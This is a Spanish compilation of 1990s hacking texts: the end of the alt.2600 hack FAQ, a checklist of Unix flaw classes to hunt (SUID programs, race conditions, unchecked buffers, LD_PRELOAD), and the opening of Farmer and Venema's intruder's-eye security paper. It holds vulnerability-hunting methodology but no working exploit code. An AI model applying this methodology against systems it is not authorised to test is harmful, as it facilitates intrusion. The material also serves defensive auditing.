Littleton, MA 01460
(508)624-4819 (Fax)

Omron Electronics, Inc.
One East Commerce Drive
Schaumburg, IL 60173
(800)556-6766 (Voice)
(708)843-7787 (Fax)

Security Photo Corporation
1051 Commonwealth Avenue
Boston, MA 02215
(800)533-1162 (Voice)
(617)783-3200 (Voice)
(617)783-1966 (Voice)

Timeline Inc,
23605 Telo Avenue
Torrence, CA 90505
(800)872-8878 (Voice)
(800)223-9977 (Voice)

Alltronics
2300 Zanker Road
San Jose CA 95131
(408) 943-9774 Voice
(408) 943-9776 Fax
(408) 943-0622 BBS
Part Number: 92U067

Atalla Corp

San Jose, CA
(408) 435-8850

18. ¿Qué son los libros arcoiris y donde los consigo?

Orange Book
DoD 5200.28-STD
Department of Defense Trusted Computer System Evaluation Criteria

Green Book
CSC-STD-002-85
Department of Defense Password Management Guideline

Yellow Book
CSC-STD-003-85
Computer Security Requirements -- Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments

Yellow Book
CSC-STD-004-85
Technical Rationale Behind CSC-STD-003-85: Computer Security Requirements. Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments.

Tan Book
NCSC-TG-001
A Guide to Understanding Audit in Trusted Systems

Bright Blue Book
NCSC-TG-002
Trusted Product Evaluation - A Guide for Vendors

Neon Orange Book
NCSC-TG-003
A Guide to Understanding Discretionary Access Control in Trusted Systems

Teal Green Book
NCSC-TG-004
Glossary of Computer Security Terms

Red Book
NCSC-TG-005
Trusted Network Interpretation of the Trusted Computer System Evaluation Criteria

Orange Book
NCSC-TG-006

A Guide to Understanding Configuration Management in Trusted Systems

Burgundy Book
NCSC-TG-007
A Guide to Understanding Design Documentation in Trusted Systems

Dark Lavender Book
NCSC-TG-008
A Guide to Understanding Trusted Distribution in Trusted Systems

Venice Blue Book
NCSC-TG-009
Computer Security Subsystem Interpretation of the Trusted Computer System Evaluation Criteria

Aqua Book
NCSC-TG-010
A Guide to Understanding Security Modeling in Trusted Systems

Dark Red Book
NCSC-TG-011
Trusted Network Interpretation Environments Guideline -- Guidance for Applying the Trusted Network Interpretation

Pink Book
NCSC-TG-013
Rating Maintenance Phase -- Program Document

Purple Book
NCSC-TG-014
Guidelines for Formal Verification Systems

Brown Book
NCSC-TG-015
A Guide to Understanding Trusted Facility Management

Yellow-Green Book
NCSC-TG-016
Guidelines for Writing Trusted Facility Manuals

Light Blue
NCSC-TG-017
A Guide to Understanding Identification and Authentication in Trusted Systems

Light Blue Book
NCSC-TG-018
A Guide to Understanding Object Reuse in Trusted Systems

Blue Book

NCSC-TG-019
Trusted Product Evaluation Questionnaire

Gray Book
NCSC-TG-020A
Trusted Unix Working Group (TRUSIX) Rationale for Selecting Access Control List Features for the Unix System

Lavender Book
NCSC-TG-021
Trusted Data Base Management System Interpretation of the Trusted Computer System Evaluation Criteria

Yellow Book
NCSC-TG-022
A Guide to Understanding Trusted Recovery in Trusted Systems

Bright Orange Book
NCSC-TG-023
A Guide to Understandng Security Testing and Test Documentation in Trusted Systems

Purple Book
NCSC-TG-024 (Volume 1/4)
A Guide to Procurement of Trusted Systems: An Introduction to Procurement Initiators on Computer Security Requirements

Purple Book
NCSC-TG-024 (Volume 2/4)
A Guide to Procurement of Trusted Systems: Language for RFP Specifications and Statements of Work - An Aid to Procurement Initiators

Purple Book
NCSC-TG-024 (Volume 3/4)
A Guide to Procurement of Trusted Systems: Computer Security Contract Data Requirements List and Data Item Description Tutorial

+Purple Book
+NCSC-TG-024 (Volume 4/4)
+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's
+Proposal Document - An Aid to Procurement Initiators and Contractors

Green Book
NCSC-TG-025
A Guide to Understanding Data Remanence in Automated Information Systems

Hot Peach Book
NCSC-TG-026

A Guide to Writing the Security Features User's Guide for Trusted Systems

Turquiose Book
NCSC-TG-027
A Guide to Understanding Information System Security Officer
Responsibilities for Automated Information Systems

Violet Book
NCSC-TG-028
Assessing Controlled Access Protection

Blue Book
NCSC-TG-029
Introduction to Certification and Accreditation

Light Pink Book
NCSC-TG-030
A Guide to Understanding Covert Channel Analysis of Trusted Systems

C1 Technical Report-001
Computer Viruses: Prevention, Detection, and Treatment

*C Technical Report 79-91
*Integrity in Automated Information Systems

*C Technical Report 39-92
*The Design and Evaluation of INFOSEC systems: The Computer Security
*Contributions to the Composition Discussion

NTISSAM COMPUSEC/1-87
Advisory Memorandum on Office Automation Security Guideline

--

You can get your own free copy of any or all of the books by writing
or calling:

> INFOSEC Awareness Division
> ATTN: X711/IAOC
> Fort George G. Meade, MD 20755-6000
>
> Barbara Keller
> (410) 766-8729

If you ask to be put on the mailing list, you'll get a copy of each new
book as it comes out (typically a couple a year).

[*== no he visto personalmente este libro]
[+== no he visto personalmente este libro, y creo que no existe]
[está disponible]

Sección E: 2600
~~~~~~~~~~~~~~~

01. ¿Qué es alt.2600?

Alt.2600 es un newsgroup de Usenet para la discusión del material relativo a la revista 2600 , el hacker trimestral. No es para la consola Atari 2600. Len@netsys.com creó el grupo por la recomendacion de Emmanuel Goldstein. Emmanuel es el editor/ publicador de la revista 2600.
Siguiendo con los articulos publicados acerca del Atari 2600 dirigidos aalt.2600, un se creó alt.atari.2600 para desviar todo el trafico de Atari de alt.2600.
Atari 2600 aconseja a la gente visitar rec.games.video.classic.

02. ¿Qué significa 2600?

03. ¿Hay versiones del en-línea de 2600 disponible?

No.

Sección F: Misceláneo
~~~~~~~~~~~~~~~~~~~~~~~~

01. ¿Qué representa XXX?

TLA Three Letter Acronym

ACL Access Control List
PIN Personal Identification Number
TCB Trusted Computing Base

ALRU Automatic Line Record Update
AN Associated Number
ARSB Automated Repair Service Bureau
ATH Abbreviated Trouble History
BOC Bell Operating Company
BOR Basic Output Report
BOSS Business Office Servicing System
CA Cable

COE Central Office Equipment
COSMOS Computer System for Main Frame Operations
CMC Construction Maintenance Center
CNID Calling Number IDentification
CO Central Office
COCOT Customer Owned Coin Operated Telephone
CRSAB Centralized Repair Service Answering Bureau
DID Direct Inbound Dialing
DDD Direct Distance Dialing
ECC Enter Cable Change
LD Long Distance
LMOS Loop Maintenance Operations System
MLT Mechanized Loop Testing
NPA Numbering Plan Area
PBX Private Branch Exchange
POTS Plain Old Telephone Service
RBOC Regional Bell Operating Company
RSB Repair Service Bureau
SS Special Service
TAS Telephone Answering Service
TH Trouble History
TREAT Trouble Report Evaluation and Analysis Tool

LOD Legion of Doom
HFC Hell Fire Club
TNO The New Order

ACiD Ansi Creators in Demand
CCi Cybercrime International
FLT Fairlight
iCE Insane Creators Enterprise
iNC International Network of Crackers
NTA The Nocturnal Trading Alliance
PDX Paradox
PE Public Enemy
PSY Psychose
QTX Quartex
RZR Razor (1911)
S!P Supr!se Productions
TDT The Dream Team
THG The Humble Guys
THP The Hill People
TRSI Tristar Red Sector Inc.
UUDW Union of United Death Workers

04. ¿Cual es la ética del hacker?

Una cita de: Hackers: Heroes of the Computer Revolution
por Steven Levy

El acceso a las computadoras--y a cualquier cosa que pueda enseñar algo acerca de la manera de como trabajan --debe ser ilimitado y total. Siempre obedezca al imperativo "manos a la obra "

Toda la información debe ser libre.

Desconfíe de la Autoridad. Promueva la Descentralization.

Los hackers deben ser juzgados por sus actos a la hora de acceder a los ordenadores (1) , no por criterios ficticios como, edad, raza, o posición.

Se puede crear arte y belleza en una computadora.

Las computadoras pueden cambiar su vida a mejor.

05. ¿Dónde puedo hacer una copia de alt.2600/#hack FAQ?

Get it on FTP at:
rahul.net /pub/lps/sysadmin/
rtfm.mit.edu /pub/usenet-by-group/alt.2600
clark.net /pub/jcase/

Get it on the World Wide Web at:
http://www.engin.umich.edu/~jgotts/underground/hack-faq.html

Get it on my BBS:
Hacker's Haven (303)343-4053

EOT

--
* Will Spencer: El adelantamiento y difusión de conocimiento*\
* Unix geek: es el unico guardián de libertad verdadera. *\
* PC gurú: --James Madison*\
* Revolutionary : 4th U.S. President *\

Agujeros de Seguridad.

Este texto es un poco mas tecnico pero da una idea general sobre los fallos de seguridad que puede tener un determinado sistema.

Traducido por Tosh & ReK2WiLdS
BBK ôBig Bro Killerzö
http://www.geocities.com/SiliconValley/Pines/7347
bigbrokill@hotmail.com

From: Manifestation
Tema: Agujeros de seguridad se manifiestan (en general) en cuatro modos...
Date: 11.10.93

(Please contribute by sending E-Mail to ...)

[cita del FAQ de comp.security.unix]
Agujeros de seguridad se manifiestan (engenral) en cuatro modos....

1) Agujeros de seguridad fisicos

- Cuando el problema potencial esta causado debido al hecho de dar a personas sin autorizacion acceso fisico a la maquina, cuando esto les permitira realizar cosas que no deberian ser capaces de hacer.
Un buen ejemplo de esto podria ser una sala publica con estaciones de trabajo donde seria facilisimo para un usuario el reinicializar una maquina en modo mono-ususario y trastear con los archivos de la estacion de trabajo, si no se tomasen precauciones.
Otro ejemplo de esto es la necesidad de restringir el acceso a cintas backup confidenciales, que de otro modo podrian ser leidas por cualquier usuario con acceso a las cintas y con una unidad de cinta, independientemente de si tuvieran o no permiso.

2) Agujeros de seguridad en el software

- Cuando el problema esta causado por una mala escritura de partes "privilegiadas" de software (daemons, cronjobs) que pueden estar comprometidos a realizar tareas que no deberian.
El ejemplo mas famoso de esto es el bug del sendmail (ver bibliografia) que podia permitir a un cracker el pillar una shell root. Esto podria ser usado para borrar archivos, crear nuevas cuentas, copiar el fichero de passwords, cualquier cosa. (Contrariamente a lo que la gente piensa, los ataques via sendmail no estaban solo restringidos al infame "Gusano de Internet" (Internet Worm) - cualquier cracker podia hacer esto Telneteando al puerto 25 de la victima. La historia detras de un agujero similar (esta vez en el software "move-mail" de EMACS) se describe en [Stoll].)
Nuevos agujeros como este aparecen todo el tiempo, y tus mejores esperanzas son:

a. tratar de estructurar tu sistema de forma que el menor software posible con privilegios root/daemon/bin corra en tu maquina, y que el que lo haga sepamos que sea robusto.

b. suscribirse a una lista de mail para poder tener lo antes posible informacion con detalles acerca de problemas y/o parches, y actuar en cuanto la tengas.

>From: Wes Morgan
>
> c: Cuando instales/actualices un sistema dado, trata de instalar/habilitar solo
>aquellos paquetes de software por los que tengas una necesidad inmediata o
>previsible. Muchos paquetes incluyen daemons o utilidades que pueden revelar
>informacion a extra±os. Por ejemplo, el paquete de contabilidad del Unix System
>V de AT&T incluye >acctcom(1), que podria permitir (por omision) a cualquier ususario
>el revisar los datos de las cuentas diarias de cualquier otro usuario.
>>Muchos paquetes TCP/IP instalan/cargan automaticamente programas tales como
rwhod,
>fingerd, y (ocasionalmente) tftpd, pudiendo todos presentar problemas de seguridad.
>
>Una administracion del sistema cuidadosa es la solucion. Muchos de estos programas
>son inicializados/iniciados en el arranque; desearas cambiar tus scripts de arranque
>(normalmente en los directorios /etc, /etc/rc, /etc/rcX.d) para prevenir su ejecucion.
>Desearas eliminar algunas utilidades completamente. Para algunas utilidades, un
>simple chmod(1) puede prevenir el acceso de usuarios no autorizados
>
>Resumiendo, NO CONFIES EN LOS SCRIPTS/PROGRAMAS DE INSTALACION!
Tales facilidades
>tienden a instalar/cargar todo lo que hay en el paquete sin preguntartelo. Muchos
>manuales de instalacion incluyen listas de "los programas incluidos en este paquete";
>asegurate de revisarlo.

3) Agujeros de seguridad de uso incompatible

- Cuando, a traves de la falta de experiencia, o no por fallo suyo, el administrador
del sistema reune una combinacion de hardware y software y esta es usada como un
sistema, estara seriamente da±ado desde el punto de vista de la seguridad. Es la
incompatibilidad de intentar hacer dos inconexos pero utiles actos lo que crea
agujeros de seguridad.
Problemas como este son muy dificiles de encontrar una vez que el sistema esta
creado y funcionando, asi que es mejor el crear el sistema con ellos en mente(fallos).
Aunque nunca es tarde para volver a pensarlo.
Algunos ejemplos estan detallados abajo; no entremos en ellos aquÝ, ya que
estropearia
la sorpresa.

4) Elegir una filosofia de seguridad adecuada y mantenerla

>From: Gene Spafford
>El cuarto tipo de problema de seguridad es el de la percepcion y el
>entendimiento. Software perfecto, hardware protegido, y componentes no funcionan a
menos
>que hayas elegido una politica de seguridad correcta y que hayas puesto en marcha
las
>partes de tu sistema que la refuercen. Tener el mejor mecanismo de password del
mundo
>es inutil si tus usuarios creen que la ultima parte del nombre de su login es un buen

>password! La seguridad esta relacionada con una politica (o conjunto de politi-
cas/normas)
>y el funcionamiento de tu sistema conforme a dicha politica

From: Hacking
Tema: Ideas de hacking
Date: 11/10/93

(Please contribute by sending E-Mail to ...)

[Muchas de las ideas tomadas de: HaxNet - APG V1.3 : Guia para encontrar nuevos agujeros]

NOTA: Creo que esto se debe de dividir en categorias generales:
1) Principios generales
2) Buscar agujeros en src
3) Buscar en las distribuciones binarias
4) Buscar en configuraciones especificas de sites.

  Las siguientes clasificaciones generales sugieren por si mismas:
1) SUID/SGID
2) Return codes/error conditions
3) unexpected input
4) race conditions
5) authentication
6) implicit trust
7) parameters
8) permissions
9) interrupts
10) I/O
11) symbolic links
12) Daemons, particularly those taking user input.
13) Kernel race conditions
14) what else? - please add categories

(Division sugerida de lo de arriba en sub-categorias)
I: Suid binaries and scripts
   unexpected user interactions
   flawed liberary calls
   implicit assumptions of external conditions (sym links, loc. paths)
   race conditions
II: daemons running with priviliged uid's
   race conditions
   poor file protectons
   implicit file protections
   trust
   authentication
III: Kernel problems

Kernel race conditions
device driver code

El siguiente metodo de 4 pasos fue creado por System Development Corporation, que da un indice de 65% de Úxito en las hipotesis generadas.
El hacer una busqueda detallada de imperfecciones en los sistemas operativos requiere
4 pasos:

Paso 1) Conocimiento de la estructura de control del sistema
==========
Para encontrar agujeros de seguridad, e identificar debilidades de dise±o es necesario entender la estructura de control del sistema, y las capas.
Uno deberia ser capaz de listar:
A)objetos de seguridad: componentes que deben ser protegidos. Ej: un archivo de usuario
B)objetos de control: componentes que protegen objetos de seguridad. Ej: un i-node
C)objetos reciprocos: objetos de ambas clases. Ej: el archivo de password.

Con dicha lista, es posible el representar graficamente una jerarquia de control e identificar puntos potenciales de ataque. Hacer diagramas de flujo para dar un analisis visual de relaciones definitivamente ayuda. El leer los varios manuales de usuario, operadores, y administradores proveera dicha informacion.

Paso 2) Generar un inventario de desperfectos sospechosos
==========
En particular queremos:
Historia de codigo:
De que UNIX deriva un defecto en particular? Esto es importante para proximas referencias (muy a menudo solo un vendedor parchea partes del codigo, que sera usado por otros en su "reencarnacion" sin parchear.
Una referencia solida:
Quien chequea que bugs hay, en que sistema operativo y en que versiones, nos previene de realizar una doble tarea.

Un buen comienzo seria el listar todos los binarios suid de las diferentes versiones de los sistemas operativos. Despues intentar averiguar por que cada programa es suid ej: rcp es suid root ya que debe usar un puerto privilegiado para autentificar nombres de usuario.
A menudo, codigo que nunca fue dise±ado para ser suid, se hace suid, para resolver problemas de acceso a ficheros.
Necesitamos crear una base de datos que sea capaz de "mirar" a pares y trios de datos,
especificamente:nombre del programa, suid, sgid, objeto accedido (por que es suid/sgid),
version del sistema operativo.
Alguna sugerencia de como implementar dicha base de datos?

Paso 3) Confirmar hipotesis (testear y explotar los defectos)
==========

Paso 4) Hacer generalizaciones de las debilidades del sistema, para
las que los defectos representan un ejemplo especifico
==========
===

Caja de herramientas
==========
AGREP: Recomiendo a todo el mundo pillar e instalar agrep de:
ftp cs.arizona.edu /agrep/agrep.tar.Z
Agrep soporta "windowing" por lo que puede busacr rutinas, y subrutinas. Tambien soporta operadores logicos y es de esta forma ideal para automatizar la busqueda de muchos de estos defectos. Ej:
agrep WINDOW {suid() NOT taintperl()} /usr/local/*.pl
or agrep WINDOW {[suid() OR sgid()] AND [system() OR popen() OR execlp()
OR execvp()]} /usr/local/src/*.c

PROGRAMA DE PERMUTACION: Otra herramienta que merece producir es un programa que
genere todas las permutaciones posibles de los argumentos de la linea de comandos para asi descubrir caracteristicas indocumentadas, y tratar de producir errores.

TCOV:

CRASH: Posteado a USENET (que archivo FTP?)(descripcion?)

TEXTOS: Hay varios textos que tratan metodos sobre como encontrar defectos, y presentan series de tests
1) Un estudio empirico de la seguridad de las utilidades UNIX, por Barton P. Miller, Lars Fredriksen, and Bryan So, Comm ACM, v33 n12, pp32-44,Diciembre 90. Describe una serie de tests para testear cadenas aleatorias de entradas.
Los resultados indicaban que un 25% de los programas se colgaban, se venian abajo, o
no actuaban como debian. En un caso el sistema operativo se vino abajo.
El entendimiento de la composicion del buffer y el registro en el ambiente en cuestion, y la entrada esperada se entiende que dara los resultados esperados.
2) El conjunto de herramientas Mothra, in Proceedings of the 22nd Hawaii International Conference on Systems and Software, pages 275-284, Kona, HI, January '89
3) Extending Mutation Testing to Find Environmental Bugs, by Eugene H.Spafford, Software Practice and Experience, 20(2):181-189, Feb '90
4) A paper by IBM was mentioned that was submitted to USENIX a few years ago. (Anyone have a citation?).

Defectos especificos que chequear
==========
1) Buscar rutinas que no hagan chequeos al limite, o verifiquen entradas.
Ej:la familia de rutinas gets(), donde es posible sobreescribir el limite del buffer (sprintf()?, gets(), etc.)tambien: strcpy()

2) Las rutinas SUID/SGID escritas en uno de los shells, en vez de C o PERL

3) Las rutinas SUID/SGID escritas en PERL que no usan el programa "taintperl"

4) Las rutinas SUID/SGID que usan las llamadas system(),popen(), execlp(), o execvp() para ejecutar otra cosa.

5) Cualquier programa que use nombres relativos de ruta (path) dentro del programa

6) El uso de nombres relativos de ruta para especificar librerias vinculadas dinamica-mente.

7) Rutinas que no chequean codigos de error devueltos por llamadas del sistema (Ej: fork(2), suid(2),setuid(), como en el famoso bug rcp)

8) Los agujeros se pueden encontrar a menudo en codigo que:
A) es portado a un nuevo entorno
B) recibe entradas inesperadas
C) interactua con otro software local
D) accede a archivos de sistema como passwd, L.sys, etc
E) lee entradas de directorios o archivos publicos escribibles
F) programas de diagnostico que tipicamente no estan a prueba de usuarios

9) Testear codigo para entradas inesperadas. Hay disponibles herramientas de testeo de
proteccion, flujo de datos, y muacion.

10) Buscar en los textos man, y guias de usuario las advertencias en contra de las X, y tratar variaciones de X. Hacer lo mismo con la seccion de bugs.

11) Buscar comandos o funciones raramente usados o inusuales. En particular seria util buscar argumentos indocumentados. Buscar flags de distribuciones anteriores, o en versiones de otros sistemas operativos. Chequear las opciones que otros programas podrian usar. Por ejemplo, Telnet usa la opcion -h para conectarse...

12) Buscar condiciones raciales.

13) Fallos del software para verificar que realmente esta comunicandose con el software
o modulo de hardware al que quiere acceder.

14) Falta de deteccion de errores para resetear los mecanismos de proteccion siguientes al error.

15) Implementacion pobre que da como resultado, por ejemplo, codigos de condicion testeados inapropiadamente

16) Confianza inplicita: La rutina B asume que los parametros de la rutina A son correctos por que la rutina A es un proceso de sistema

17) El sistema almacena sus datos o referencia parametros de usuario en el espacio

disponible de las direcciones de usuarios

18) Enterrar procesos de comunicaci3/4n: condiciones de retorno (passwd OK, illegal parameter, segment error, etc) pueden proporcionar una brecha significativa cuando son combiandos con el paso 17

19) Los parametros de usuario pueden no estar adecuadamente chequeados.

20) Direcciones que sobrepasan o se refieren a areas del sistema

21) Las comprobaciones de condicion de codigo pueden omitirse

22) Fallo al anticiparse a parametros inusuales o extraordinarios

23) Buscar niveles del sistema donde los modulos alli involucrados fueron escritos por programadores diferentes, o grupo de programadores - se suelen encontrar agujeros.

24) Registros que apuntan a la localizacion de valores de parametros en vez de pasar el parametro el mismo.

25) Cualquier programa ejecutandose con privilegios de sistema (a muchos programas se
les da UID 0, para facilitar el acceso a ciertas tablas, etc)

26) Archivos temporales, buffers leibles por grupos o por todo el mundo

27) Carencia de valores de "umbral", y carencia de notificacion una vez se han accionado estos.

28) Cambiar parametros de areas criticas del sistema antes de su ejecucion.

29) Comprobacion inadecuada de los limites al compilar, por ejemplo, un usuario puede
ser capaz de ejecutar codigo maquina disfrazado como datos en un area de datos (si las areas de texto y datos estan compartidas)

30) Manipular incorrectamente interrupciones asincronas generadas por usuarios. Usuarios interrumpiendo un proceso, realizando una operaci3/4n, o bien volviendo para continuar el proceso o comenzar otro dejaran a menudo el sistema en un estado de desproteccion. Archivos parcialmente escritos se dejan abiertos, escritura incorrecta de mensajes de infracciones de proteccion, puesta incorrecta de bits de proteccion, etc, suelen ocurrir.

31) Codigo que usa fopen(3) sin poner la umask. (ej: at(1), etc.). En general, codigo que no resetea el UID real y efectivo antes de bifurcarse

32) Tracear es muy util para ayudarte a descubrir que llamadas de sistema usa un programa

33) Escanea los sistemas de archivos /usr/local de cerca. Muchos administradores instalaran software de la red. A menudo encontraras tcpdump, top, nfswatch,... suid root por su facilidad de uso.

34) Comprobar que los programas suid fueron los que originalmente se pusieron en el sistema. Algunas veces los administradores reemplazaran el password por uno menos seguro que el de las distribuciones.

35) Buscar programas que se usaran para instalar software o modulos de kernel

36) Programas enlazados dinamicamente en general. Recuerda LD_PRELOAD, creo que esa
era la variable.

37) La programacion de canales de I/O (Entrada/Salida) es es un blanco primario. Busca errores logicos, inconsistencias, y omisiones.

38) Ver si es posible que un programa de canales I/O pueda automodificarse, hacer un loop, y asi ejecutar el nuevo codigo modificado.

39) Si los canales I/O actuan como procesadores independientes tendran acceso ilimitado
a la memoria, y asi el codigo de sistema podria ser modificado en memoria previamene a su ejecucion.

40) Buscar bugs que requieran errores en multiples partes del software,ej: di por ejemplo que el programa "a" puede usarse para cambiar el fichero de configuracion /etc/a ,
ahora el programa "b" asume que la informacion de a es correcta y esto lleva a resultados
inesperados (solo mira cuantos programas confian en el fichero /etc/utmp)

41) Cualquier programa, especialmente los suid/sgid, que permites "escapadas" a shell.

Mejorar la Seguridad de tu Sistema.

Aqui esta un texto eminentemente practico donde se pueden ver algunas de las formas de
conseguir un archivo passwd.
Esta un poco anticuado pero aun se encuentran maquinas que sucumben ante los encantos de una de
estas "preciosidades".

Mejorar la seguridad de tu sistema irrumpiendo en el mismo

Dan Farmer Wietse Venema

Sun Microsystems Eindhoven University of Technology

2550 garcia ave MS PAL1-407 P.O. Box 513, 5600 MB
Mountain View CA 94043 Eindhoven, NL

zen@sun.com wietse@wzv.win.tue.nl

Traducido por Tosh & ReK2WiLdS
BBK "Big Bro Killerz"
http://www.geocities.com/SiliconValley/Pines/7347
bigbrokill@hotmail.com

Introducción

Todos los días, en todo el mundo, las redes de ordenadores y hosts son violados. El nivel de sofisticación de estos ataques varia ampliamente; mientras hay una creencia generalizada que la mayoría de estas intrusiones tienen éxito debido a la debilidad de los passwords, hay todavía un gran numero de intrusiones que hacen uso de técnicas mas avanzadas para entrar. Poco es sabido acerca de este ultimo tipo de intrusiones , debido principalmente a su naturaleza y a su dificultad de ser detectadas.

CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. Cualquier sistema en Internet (y muchos que no lo están) son susceptibles de ser violados fácilmente. Son estos objetivos inusuales? Que ocurrió?

Fade to.....

Un chaval, con pelo rubio y grasiento, sentado en una habitación oscura. La habitacion esta iluminada solamente por la luz de la pantalla de 40 caracteres de un C64. Tomando otra larga calada de su Benson & Hedges, su cansado sistema cracker "Telnetea" a otro site ".mil" anónimo de su lista de víctimas. No importa. Tiene toda la noche....lo tacha de su lista, y cansinamente teclea la siguiente víctima potencial....

Esta parece ser la imagen habitual de un cracker de sistemas. Joven, sin experiencia, y con un montón de tiempo que perder, tan solo para entrar en otro sistema. Sin embargo, hay un tipo de cracker mucho mas peligroso rondando por ahí. Uno que sabe todo lo ultimo acerca de seguridad de sistemas y herramientas cracking, que puede modificarlas para llevar a cabo ataques específicos, y que puede currarse sus propios programas. Uno que no solo se dedica a leer sobre los últimos agujeros de seguridad, sino que tambien descubre bugs y puntos débiles. Una "criatura mortal" que puede tanto golpear "envenenadamente" , como ocultar su rastro sin un solo susurro o pista. El uebercracker esta aquí..

Por que "uebercracker" ? Es una idea robada, obviamente, del uebermensch de

Nietzsche,o , literalmente traducido al ingles, "over man".
Nietzsche uso el termino no para referirse a un super hombre de comic, sino a un hombre que va mas alla de la incompetencia, insignificancia, y debilidad del hombre tradicional.
Por lo tanto el uebercracker es el cracker de sistemas que ha ido mas alla de los simples metodos de intrusion de los cookbooks. Un uebercracker no se motiva normalmente para realizar actos violentos.

Las victimas no son arbitrariamente escogidas - hay un proposito, tanto como si es por conseguir fines monetarios, un ataque "golpea y corre" para pillar informacion, o un desafio para golpear un prestigioso-gran site o red personalmente. Un uebercracker es dificil de detectar, mas aun de parar, y aun mas si cabe de mantenerlo alejado de tu site por tu bien.

Overview

En este texto vamos a realizar un acercamiento inusual a los sistemas de seguridad.
En vez de decir meramente que algo es un problema, vamos a mirar a traves de los ojos de un intruso, y ver por que lo es. Vamos a ilustrar que incluso los aparentemente inocuos servicios de red pueden convertirse en herramientas muy valiosas a la hora de buscar puntos debiles en un sistema, incluso cuando estos servicios operan del modo esperado.

En un esfuerzo por verter algo de luz sobre como ocurren estas intrusiones cada vez mas avanzadas, este texto reseña varios mecanismos usados actualmente por los crackers para obtener acceso a los sistemas y, adicionalmente, algunas tecnicas que sospechamos estan usando, o hemos usado nosotros mismos en tests o ambientes autorizados/amigables.

Nuestra motivacion a la hora de ecribir este texto ha sido el hecho de que los administradores de sistemas no son muy a menudo conscientes del peligro existente por cualquier cosa mas alla de los ataques mas triviales.
Mientras por todos es sabido que el nivel de proteccion apropiado depende de que es lo que debe ser protegido, muchos sites parecen estar faltos de los recursos para valorar que nivel de proteccion es adecuada.
Dando a conocer lo que los intrusos pueden hacer para ganar acceso a un sistema remoto, intentamos ayudar a los administradores de sistemas a tomar decisiones sobre como proteger su site - o como no hacerlo. Limitaremos la discusion a tecnicas que pueden posibilitar el acceso a intrusos a shells en un host corriendo UNIX. Una vez hecho esto, los detalles acerca de como conseguir privilegios root estan mas alla del ambito de este texto - consideramos que son o dependen del site y, en muchos casos, muy triviales para merecer discutirse.

Queremos recalcar que no vamos a hacer una lista de bugs o agujeros de seguridad - siempre habra nuevos para que un "atacante" en potencia los explote. El proposito de este texto es el de tratar de que el lector vea su sistema de una forma nueva/diferente - una forma que posiblemente le permita tener la oportunidad de entender como su propio sistema puede estar

comprometido, y como.

Tambien queremos reiterar que el proposito de este texto es el de enseñar al lector como testear la seguridad de su propio site, y no como irrumpir en sistemas ajenos. Las tecnicas de intrusion ilustradas aquí dejaran muy a menudo huellas en los logs de tu sistema - seria constructivo examinarlos despues de intentar alguno de estos ataques, para ver como seria un ataque verdadero. Ciertamente otros sites y administradores de sistemas tomaran/haran una vision fugaz de tus actividades si es que decides usar sus hosts para hacer tests de seguridad sin autorizacion avanzada; de hecho, es posible que se tomen medidas legales contra tu persona si lo perciben como un ataque.

Hay cuatro partes principales en este texto. La primera es la intoduccion y el overview. La segunda parte es un intento de dar a entender al lector lo que es ser un intruso y como de no saber nada de un sistema pasar a comprobar su seguridad. Esta seccion revisa las tecnicas actuales de obtencion de informacion y acceso, y cubre estrategias basicas tales como explotar y abusar de servicios basicos mal configrados (ftp, mail, tftp, etc.). Tambien trata temas un poco mas avanzados, tales como NIS y NFS, asi como bugs tipicos y problemas de configuracion en cierta forma mas especificos de los sitemas operativos o de los sistemas.
Tambien se cubre lo referente a estragegias defensivas contra cada uno de los diferentes ataques.
La tercera seccion trata sobre confianza: como la seguridad de un sistema depende de la integridad de otros sistemas. La confianza es el tema mas complejo de este texto, y por ser breves limitaremos su discusion a "los clientes ocultos" (si alguien ha entendido esto ultimo que me lo explique :)).

La cuarta seccion cubre los pasos basicos a seguir por un administrador de sistemas para proteger su sistema. La mayoria de los metodos presentados aquí son meramente de sentido comun, pero son comunmente ignorados en la practica - una de nuestras metas es enseñar lo peligroso que es ignorar estos metodos basicos de seguridad.

Estudios practicos, indicadores de informacion relacionada con la seguridad, y software son descritos en los apendices al final del documento.

Mientras exploramos los metodos y estrategias que se discuten en este texto vamos a hablar del SATAN (Security Analysis Tool for Auditing Networks). Escrito en shell, perl, expect y C, examina un host o sets de hosts remotos y recoge tanta informacion como sea posible explorando remotamente NIS, finger, NFS, ftp y tftp, rexd, y otros servicios. Esta informacion incluye la presencia de varios servicios de informacion de red asi como de defectos potenciales de seguridad - normalmente en la forma de errores en el setup o en la configuracion de los servicios de red, bugs tipicos en las utilidades del sistema o red, o bien decisiones tacticas pobres o ignorantes. Entonces puede bien informar sobre estos datos o usar un sistema experto para

investigar mas adelante cualquier problema potencial de seguridad. Mientras el SATAN no usa todos los metodos discutdos en este texto, ha triunfado con "amenazadora" regularidad a la hora de encontrar serios agujeros de seguridad en sites de Internet. Sera posteado y estara disponible via FTP anonimo cuando este completado; El apendice A cubre sus caracteristicas mas destacadas.

Observar que no es posible cubrir todos los metodos posibles de irrumpir en los sistemas en un solo texto. De hecho, no vamos a mencionar dos de los metodos mas efectivos de irrupcion en hosts remotos: social engineering (ingenieria social) y password cracking (crackear passwords). Este ultimo metodo es tan efectivo, sin embargo, que varias de las estrategias presentadas aquí estan basadas en la obtencion de archivos de passwords. Adicionalmente, mientras los sitemas basados en ventanas (X, OpenWindows, etc..) pueden proveer una "tierra fertil" para la irrupcion/violacion/explotacion, simplemente no sabemos muchos metodos usados para irrumpir en sistemas remotos. Muchos crackers de sistemas usan terminales non-bitmapped que les pueden prevenir de usar algunos de los metodos de explotacion efectiva mas interesantes para sistemas basados en ventanas (aunque el ser capaz de ver/monitorizar el teclado de la victima es normalmente suficiente para pillar passwords). Finalmente, mientras gusanos, virus, caballos de troya, y demas movidas son muy interesantes, no son comunes (en sistemas basados en UNIX) y probablemente usan tecnicas muy similares a las descritas en este documento como partes individuales de su estrategia de ataque.

Ganando Informacion

Asumamos que tu eres el administrador de sistema de "Victim Incorporated's network of Unix workstations". En un esfuerzo por proteger tus maquinas, le pides a un colega administrador de sistema de un site cercano (evil.com) que te de una cuenta en una de sus maquinas para asi poder ver la seguridad de tu propio sistema desde el exterior.

Que deberias hacer? Lo primero, tratar de recoger informacion sobre tu blanco, tu host. Hay un monton de servicios de red en los que mirar: finger, showmount y rpcinfo son buenos puntos de partida.
